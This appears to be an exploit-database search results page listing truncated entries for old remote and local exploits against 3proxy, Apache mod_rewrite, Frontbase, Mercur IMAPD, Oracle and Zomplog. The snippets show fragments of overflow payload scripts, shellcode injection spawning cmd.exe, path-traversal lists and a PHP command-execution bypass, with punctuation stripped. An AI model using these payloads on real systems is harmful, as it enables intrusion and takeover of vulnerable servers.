998 matches found
3proxy 0.5.3g proxy.c logurl() Remote Buffer Overflow Exploit (win32)
Exploit for unknown platform in category remote exploits ===================================================================== 3proxy 0.5.3g proxy.c logurl Remote Buffer Overflow Exploit win32 ===================================================================== / 3proxyv0.5.3g: win32 service...
Microsoft Win32 API Parameter Validation Remote Code Execution Vulnerability
Description The Microsoft Win32 API is prone to remote code execution. An attacker could exploit this issue to execute code in the context of the user visiting a malicious webpage. Technologies Affected Avaya CIE 1.0 Avaya Messaging Application Server Avaya Messaging Application Server MM 1.1 Ava...
Pulseaudio 0.9.5 (rev 1437) termination
Luigi Auriemma Application: PulseAudio http://www.pulseaudio.org Versions: 0.9.5 svn 1437 Platforms: POSIX and Win32 Bugs: termination of the server through failed assert Exploitation: local and remote Date: 29 Mar 2007 Author: Luigi Auriemma e-mail: [email protected] web: aluigi.org 1...
Vuln Review: Apache Mod_Rewrite Off-by-one Remote Exploit(Win32)-vulnerability warning-the black bar safety net
by axis Date: 2007-04-07 http://www.ph4nt0m.org Last time in irc in the demo another loophole to get the cmd banner, the result is the swan large cattle mistakenly think that this is the vulnerability, then the recent use of leisure time, with a bit of this vulnerability. This vulnerability on...
Apache Mod_Rewrite Off-by-one Remote Overflow Exploit (win32)
No description provided by source. !/bin/sh Exploit for Apache modrewrite off-by-oneWin32. by axis axis@ph4nt0m http://www.ph4nt0m.org 2007-04-06 Tested on Apache 2.0.58 Win32 Windows2003 CN SP1 Vulnerable Apache Versions: 1.3 branch: 1.3.28 and 1.3.37 2.0 branch: 2.0.46 and 2.0.59...
Ipswitch WS_FTP 5.05 Server Manager Local Site Buffer Overflow Exploit
No description provided by source. / Ipswitch WSFTP 5.05 Server Manager Local Site Buffer Overflow ...
Apache Mod_Rewrite Off-by-one Remote Overflow Exploit (win32)
Exploit for unknown platform in category remote exploits ============================================================= Apache ModRewrite Off-by-one Remote Overflow Exploit win32 ============================================================= !/bin/sh Exploit for Apache modrewrite off-by-oneWin32. b...
Apache mod_rewrite (Windows x86) - Off-by-One Remote Overflow
Apache modrewrite Windows x86 - Off-by-One Remote Overflow !/bin/sh Exploit for Apache modrewrite off-by-oneWin32. by axis http://www.ph4nt0m.org 2007-04-06 Tested on Apache 2.0.58 Win32 Windows2003 CN SP1 Vulnerable Apache Versions: 1.3 branch: 1.3.28 and 2.0.46 and 2.2.0 and 2006-08-20...
Frontbase 4.2.7 (Windows) - Remote Buffer Overflow
Frontbase 4.2.7 Windows - Remote Buffer Overflow / Dreatica-FXP crew ---------------------------------------- Target : Frontbase = 4.2.7 for Windows Site : http://www.frontbase.com Found by : Netragard, L.L.C Advisory ---------------------------------------- Exploit date : 25.03.2007 Exploit writ...
Frontbase <= 4.2.7 Remote Buffer Overflow Exploit (windows)
Exploit for unknown platform in category remote exploits =========================================================== Frontbase = 4.2.7 Remote Buffer Overflow Exploit windows =========================================================== / Dreatica-FXP crew ----------------------------------------...
Atrium Mercur IMapD NTLM缓冲区溢出漏洞
Atrium Mercur IMapD是一款Imap协议实现的IMAPD守护程序。 Atrium Mercur IMapD处理NTLM验证存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 提交恶意的请求，可导致触发缓冲区溢出。攻击者可导致拒绝服务或者任意指令执行攻击。 Atrium Software Mercur IMAPD 1 SP4 目前没有解决方案提供： http://www.atrium-software.com/ !/usr/bin/perl mercur-v1.pl Mercur v5.00.14 win32 remote exploit by mu-b...
Mercur IMAPD 5.00.14 Remote Denial of Service Exploit (win32)
No description provided by source. !/usr/bin/perl mercur-v1.pl Mercur v5.00.14 win32 remote exploit by mu-b - Dec 2006 - Tested on: Mercur v5.00.14 win32 use Getopt::Std; getopts't:n:', %arg; use Socket; use MIME::Base64; my $target; if defined$arg't' $target = $arg't' if !defined$target my...
mercur-v1.txt
!/usr/bin/perl mercur-v1.pl Mercur v5.00.14 win32 remote exploit by mu-b - Dec 2006 - Tested on: Mercur v5.00.14 win32 use Getopt::Std; getopts't:n:', %arg; use Socket; use MIME::Base64; my $target; if defined$arg't' $target = $arg't' if !defined$target my $imapdport = 143; my $senddelay = 1; if...
Mercur IMAPD 5.00.14 Remote Denial of Service Exploit (win32)
Exploit for unknown platform in category dos / poc ============================================================= Mercur IMAPD 5.00.14 Remote Denial of Service Exploit win32 ============================================================= !/usr/bin/perl mercur-v1.pl Mercur v5.00.14 win32 remote explo...
oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)-vulnerability warning-the black bar safety net
include windows. h include stdio. h BOOL InjectShellcodeDWORD oldEIP,CHAR oSID HMODULE hKernel; FARPROC pCreateProc; LPSTR sCommand="cmd.exe"; DWORD dwStrLen; CHAR buff1 0 0; dwStrLen=strlensCommand; hKernel=LoadLibrary"Kernel32.dll"; pCreateProc=GetProcAddresshKernel,"CreateProcessA"; strcpybuff...
ZomPlog <= 3.7.6 Local File Inclusion Vulnerabilty (win32)
No description provided by source. Made by Bl0od3r tech-bl0od3r.blogspot.com use IO::Socket; use Switch; $port = "80"; $target = @ARGV0; $folder = @ARGV1; @paths= "../../../../../var/log/httpd/accesslog", "../../../../../var/log/httpd/errorlog", "../apache/logs/error.log",...
Zomplog <= 3.7.6 Local File Inclusion Vulnerabilty (win32)
No description provided by source. Made by Bl0od3r tech-bl0od3r.blogspot.com use IO::Socket; use Switch; $port = "80"; $target = @ARGV0; $folder = @ARGV1; @paths= "../../../../../var/log/httpd/accesslog", "../../../../../var/log/httpd/errorlog", "../apache/logs/error.log",...
Zomplog <= 3.7.6 Local File Inclusion Vulnerabilty (win32)
Exploit for unknown platform in category web applications ========================================================== Zomplog = 3.7.6 Local File Inclusion Vulnerabilty win32 ========================================================== Made by Bl0od3r use IO::Socket; use Switch; $port = "80"; $target...
mercurypown-v1.pl.txt
!/usr/bin/perl mercurypown-v1.pl Mercury/32 Connected\n"; $buf = "1 LOGIN"." "x$LEN-$BUFLEN."\255\n"; sendSOCKET, $buf, 0; sleep$senddelay; print"- Sending payload\n"; $buf = $NOP x 255; sendSOCKET, $buf, 0; sleep$senddelay; print"- Sending payload 2\n"; $buf = $NOP x $BUFLEN; sendSOCKET, $buf, 0...
PHP COM extensions (inconsistent Win32) safe_mode Bypass Exploit
No description provided by source. ?php //PHP COM extensions inconsistent Win32 safemode bypass //by rgod $suntzu = new COM"WScript.Shell"; $suntzu-Run'c:windowssystem32cmd.exe /c '.escapeshellarg$GETcmd.' '.dirname$SERVERSCRIPTFILENAME.'/suntzoi.txt';...